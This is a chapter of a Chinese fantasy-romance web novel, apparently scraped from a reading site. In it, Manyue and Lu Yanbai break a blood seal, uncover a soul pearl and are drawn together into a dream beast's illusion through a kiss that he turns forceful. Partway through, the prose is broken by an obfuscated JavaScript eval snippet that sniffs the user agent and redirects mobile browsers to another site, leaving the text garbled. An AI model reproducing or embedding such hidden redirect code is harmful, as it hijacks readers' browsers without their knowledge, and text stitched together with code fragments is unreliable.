陆宴白略微一怔,深不见底的眼眸中极为罕见地掠过一丝讶异,但很快就恢复如初。
满月倒是高兴起来,心底悬着的石头终于落了地。她原本对血符阵的效果也并非百分百确信,毕竟此刻是前传时间,与原著中实际发生的事件相隔太过遥远,一切都只存在于理论上的概率。
鲜血沿着繁复图腾的脉络蜿蜒而下,黯淡的金属仿佛被注入了诡异的生命力,一路次第亮起血红的光芒。四面鼎壁之上,以鲜血为墨书写的禁制符文骤然显现,黏稠的血迹顺着符文边缘歪歪扭扭地流淌下来,在黑夜里显得格外惊悚可怖。
满月却精神一振。
这题她会!只要打碎禁制——
就在这念头刚起的刹那异变陡生。庭院角落,屋檐缝隙,点点幽绿色的流萤毫无征兆地从中一涌而出,如同被什么无形的力量牵引,疯狂地朝着一处汇聚。眨眼间,一只由无数绿火构成的巨大手掌已然成型,带着令人心悸的阴寒气息,撕裂夜幕,挟着沉闷的破空之声,朝着庭院中央狠狠拍下。
满月一时没反应过来,只有身体几乎是本能地翻滚出去,狼狈地撞在冰冷坚硬的大鼎之后才停下。
巨掌擦着她的肩膀而过,她原先站着的地方被砸开好大一个洞,地上的尘土枯叶卷起,拍在鼎身上发出沉闷的巨响,饶是她躲得及时,也被那余波震到,脸上的傩面碎成两半,脱落下来。
傩面替她挡了致命一击。
满月紧贴着鼎身冰冷的金属,大口喘着气,心砰砰直跳。
事情进展得太过顺利,差点忘了织梦兽还在这附近。如今血符阵被彻底激发,波动如此剧烈,即便她和陆宴白再如何隐藏气息,那东西也必然知道有人闯入了它的禁地。
仿佛是为了印证她的担忧,更加骇人的景象出现了。如同打开了地狱的闸门,更多幽绿色萤火从三面屋舍的每一个窗口、门缝、甚至瓦片的间隙中疯狂倾泻而出。整个破败的小院被这诡异的绿火完全占据,一时间他们如同置身幽冥鬼域。即便如此,汹涌的绿潮丝毫没有停止的势头,反而越来越多,铺天盖地席卷而来,将两人彻底围困在中央。
好在自小河一事后,满月多了些自保的能力。她双手结印,幽蓝色的华光充盈在她周身,形成一道屏障,令绿色荧火没有空隙钻入。
“快破禁制!”满月艰难维持着结印的姿势,对着被绿火重点照顾的身影急声喊道。
压力中心的陆宴白身形如鬼魅般一晃,从容不迫地避开了巨掌又一次的拍击。显然,织梦兽感知到了他更强的威胁,将主要的攻击都集中在了他身上。密集的荧火飞矢攻势如同狂风暴雨,一波未平一波又起,密集得几乎不给他留下任何喘息的空隙。
满月还担心陆宴白没有完全恢复,他自己倒是半点不慌,甚至带着一丝游刃有余的轻松,身形飘忽不定间,每一次都极限地闪避开织梦兽的进攻,在漫天绿火交织的死亡之网中穿梭自如,快得连残影都难以捕捉。
陆宴白一面闪躲,一面分心二用,修长的手指在虚空中快速划动,金色符文随着他指尖的牵引凭空浮现,旋转着围绕在他周身。
当划出字符的最后一道时,金字真言立时光芒大盛,齐齐向着四面而去,穿破密不透风的绿色荧火,精准无比地击破鼎身的血色禁制符文。
禁制应声而碎,那些由鲜血书写的符文如活物一般发出凄厉的尖啸,猛地炸裂开来。粘稠的的黑血四散飞溅,如雨点洒落。
天边一道红光闪过,轰隆一声。
满月身上也被溅了一些黑血,但这并不妨碍她的激动。
没想到这么轻而易举就扭转了局势,果然是……
她下意识地用带着劫后余生庆幸的余光瞥向那尊作为阵眼核心的铜鼎,然而目光触及鼎身的刹那,她脸上的雀跃瞬间凝固,只化为一片想掩饰也掩饰不了的惊愕。
被破除禁制的大鼎褪去了先前的污秽,恢复了青铜器应有的古朴厚重与暗沉光泽。而就在鼎腹中央,一枚约莫鸽子蛋大小的珠子正从中缓缓升起,悬浮在半空之中。珠子通体剔透,内部却散发着一种极其妖异、浓郁到化不开的血红光芒,将周围一小片空间都染上了不祥的诡异红光。
怎么,怎么会是命魂珠?!
满月呼吸骤停。
她在三危山见过一次,就算再怎么欺骗自己,她也绝不会认为那是别的东西。
堕仙竟然是用命魂珠做了阵眼。
不是……她有病吧!!!
满月惊得已经不知道该说什么才好。
就在她心神因这“意外之喜”而剧烈动摇的瞬间,维持着屏障的妖力不可避免地出现了一丝波动。一直伺机而动的绿色荧火敏锐地捕捉到了这转瞬即逝的破绽,趁机穿透了蓝光的薄弱处,落在了她的身上。
陆宴白倒是没有任何意外,他早就知道这院子的死气来源于命魂珠,只是一直没寻到罢了。
他没有任何犹豫,抬手就要拿,可是还没碰到边,那些弥漫在空气中的绿色荧火突然暴动,凝成一条长鞭,裹挟着令人心悸的浓稠死气,以移山倒海之势向他袭来。
陆宴白神识一凝,金色屏障立刻在他身前展开。
金色屏障霎时碎裂,与此同时绿萤长鞭也被打散,化为了无数光点,消散空中。
两下相撞,无形的冲击在小院中扩散开来,连那沉重的青铜大鼎都发出了嗡鸣。
满月被波及到,差点连站都站不稳。
可是眼下她已无暇顾及这些,心思全放在离她不远的命魂珠上。
按照原著来说,陆宴白拿到度母阴司的命魂珠已属意外,如果再让他拿到堕仙的命魂珠……
天知道会造成什么不可估量的可怕后果,恐怕比堕仙还要更甚。
还真是前有织梦兽,后有命魂珠,现在选哪个也讨不到好。
怪就怪她实在太心急,一心只想着祭祀大阵的事,差点忘了还有命魂珠这回事。
满月被巨大的懊恼所淹没,忽然她脑中灵光一闪,想到了什么。
不对。
先前陆宴白答应得那么干脆利落,她就隐约感觉不对劲。他这么好说话,会不会是一开始就知道命魂珠藏在这里?要不然以他爱刁难人的性格,她简简单单两句话就能请动他来帮忙?
无数的念头从脑海中闪过,交织成一个让她感到不安的答案。
他一早就是为了命魂珠而来的。也怪不得会在这里碰到他。
不行,这次无论如何,她都一定要阻止他拿到命魂珠。
打定主意,满月转头看向面前的血红珠子,她正要趁乱伸手去拿,却发现自己的半个手臂不知何时竟被不断繁衍的绿色荧火包裹的密不透风。
不。
不止是手臂。
就连下半身也被布满了绿色荧火,脚踝已经变得逐渐透明。
满月怔愣一瞬,明白过来。
她被织梦兽侵袭了。
原著里提到过,织梦兽的本体无人见过,这些绿色荧火皆是它本体的须须,单论战力,它远比不过度母阴司手下的画境,可诱人入梦的能力,却是独一档。陆宴白可勘破四方镜的幻境,可一旦被入侵,就算是他也绝对无法逃脱织梦兽的梦境。
心念急转,就像溺水的人抓到了唯一的浮木,一个极其冒险的主意在满月心中成型。
她要像水鬼一样将他一起拖入梦境。
至少……至少能暂时阻止陆宴白拿到命魂珠,而且有他一起入梦,说不定也能增加她在梦境里的生还率。
眼看着织梦兽吞噬她的速度越来越快,满月来不及再多考虑,大声喊道:
“救命——”
陆宴白正在漫天绿火中穿梭,金字真言环绕在他周身,阻挡着织梦兽一波又一波的进攻,听到满月的声音,他动作略微一顿,侧过头,金瞳之中清晰地映出了满月此刻的模样——无数的绿色荧火依附在她身上,如同贪婪的藤蔓一路向上延伸,已经快将她的身体吞噬了快大半。
陆宴白蹙了下眉,眼底泛起一丝几乎难以捕捉的波澜,瞬间失去了与这些烦人荧火继续缠斗的兴致。
“散。”
敕令一下,围绕他周身的金色真言瞬间大亮,将周遭密集攻来的绿色荧火净化出一片短暂的真空地带。就在这片绿火退散的同时,他身形一晃,原地只留下一道淡淡的残影,下一刻,他已如同瞬移般,稳稳地出现在了满月的面前。
距离如此之近,满月那刻意营造的惨状更加清晰。平时那个总是一脑袋鬼点子的小妖怪靠着鼎抱膝而坐,周遭的绿色荧火已经被陆宴白隔绝开,然而她身上的却还在,不断地蚕食着剩下的部分。
“呜……陆宴白……我、我不想死……”满月带着哭腔开口,长睫上挂着泪珠,脆弱无助地瞧着他。
她演得情真意切,足以骗过任何一双眼睛。
实际上,满月比谁都清楚,被织梦兽彻底吞噬并不会立刻死亡,充其量是被强行拖入它编织的梦境中去历劫。但此刻,她需要陆宴白相信她是真的害怕。
陆宴白看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009371|178149||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着满月这副小可怜的模样,难得没有说什么刻薄的风凉话,他挑了下眉,似乎对她的弱小颇有些无奈。
“放心,你不会死的。”他低语一句,却少了惯常的讥诮。旋即他没有丝毫犹豫,屈膝半跪在她面前,抬手点在了她的眉心。
源源不断的灵力被灌入满月体内。这股力量纯净而强大,试图强行驱散那些如附骨之疽缠绕着她的绿色荧火。
他想用这种办法帮她脱离织梦兽的控制。
满月知道这是没用的,但她也不需要有用,她只是要一个机会。
“陆宴白……”满月的声音带着哭过后的沙哑和一种奇异的温柔,仿佛用尽了最后的力气,那双湿漉漉的眼睛,盛满了惊恐和祈求,一瞬不瞬地凝视着面前的人,“反正……反正我就要死了,死之前,你可不可以满足我一个心愿?”
她这副模样实在太过乖巧可怜,就算在三危山时,陆宴白没见她流露出过这样的神情。他略微一怔,还不等问她所说的心愿是什么意思,满月就俯身朝他靠了过来。
她的唇印在他冰冷的唇上。
陆宴白却只觉得仿佛杏子糕清甜的味道充盈在鼻息之间,唇上的触感是意料之外的柔软,这还是他从未有过的体验。
事实上早在满月行动的片刻,他有足够的时间躲开,可不知道为什么,他没有选择那样做。
结果并没有想象中的排斥,反而有些说不清楚的感觉,很陌生,又有些新奇。
另一边的满月手都在发抖。这样叛经离道的孤注一掷,只希望陆宴白不要立刻杀了她才好。
若非不得已,她也不想这样。但像陆宴白这么厉害的修士,小周天三百六十度无死角立体防御,如果不像主角团那样被长时间困在秘境,很难会在短时间内被织梦兽侵袭。
唯一的方法,也是原著里提到过的,只有这个。
满月还想好了从梦境出来之后的退路,她完全可以打着暗恋陆宴白多时的名义来做这件事,至少这样就不会被他疑心她是故意拖他下水。
一石二鸟之计,十分完美。
确认他也同样被浸染,满月拿捏好时机,正打算拉开距离,假惺惺同他倾诉内心的感情,意料之外的变故发生了。一只纤长的手插.进了她的发间,托着她的后脑,不容抗拒地阻止了她的离去。
满月错愕地瞪大了眼睛,还来不及理解这突如其来的变故,下一瞬,她只觉天旋地转,就被反过来压在了冰冷坚硬的鼎身。
她的口被人探开,原先浅尝辄止的吻,逐渐变得绵长深入,冷冽如雪松的气息瞬间占据了她全部的感官,先前仅止于表面的略显生涩的触碰变得极具侵略性,带着一种令人心悸的掌控力,搅乱了她的呼吸。
满月大脑一片空白。
她怎么也没想到是这个展开。
等她回过一些心神,尝试着想要推开束缚着她的人,换来的却是更深的禁锢。
对陆宴白来说,此刻发生的一切都格外有趣。唇齿间那陌生的触感,柔软的不可思议,混合着杏子糕的甜香和泪水的咸味,还有她因极度震惊而僵硬生涩的反应,都给他带来了一种前所未有的的刺激感,引诱着他不断往下沉沦。他对她的做法,与其说是将错就错,不如说是一种带着探究意味的掌控和索取。
在满月被亲得眼冒金星快要呼吸不上来的时候,面前的人终于松开了她。
“你……”疯了吧三个字尚未出口,理智迅速回归,阻止了她说出不该说的话。
差点忘了这事是她先挑起来的。
不过……不过他就没错吗?都什么时候了!
好在满月还没有被亲昏头脑,心里还惦记着自己的任务。她装作无事发生的样子很快入戏,像之前准备好的那样故作惊讶地看向陆宴白,他的手臂同样被绿色萤火附着:“你,你怎么也……”
陆宴白盯着她的脸,绿色萤火早就经由满月沾染到他的身上,手臂传来微微的灼烧痛感,但他全然不在意。
陆宴白笑了,表情看上去很愉悦,金瞳之中倒映着点点萤火和她的脸。他的眉眼分明还是从前的眉眼,此时却变得明晰起来,唇红齿白,凤眸潋滟,带着诡谲的艳丽感,被这样的他专注看着,满月心跳不禁漏了一拍。
“这不就是你想要的吗?”他道。
满月一怔,不及她有所反应,他抬起她的下颌,又意犹未尽地吻了上去。
下一刻,他撤去了护在两人身前的屏障,绿色荧火如潮水般涌来,顷刻之间,将他们两个人吞没殆尽。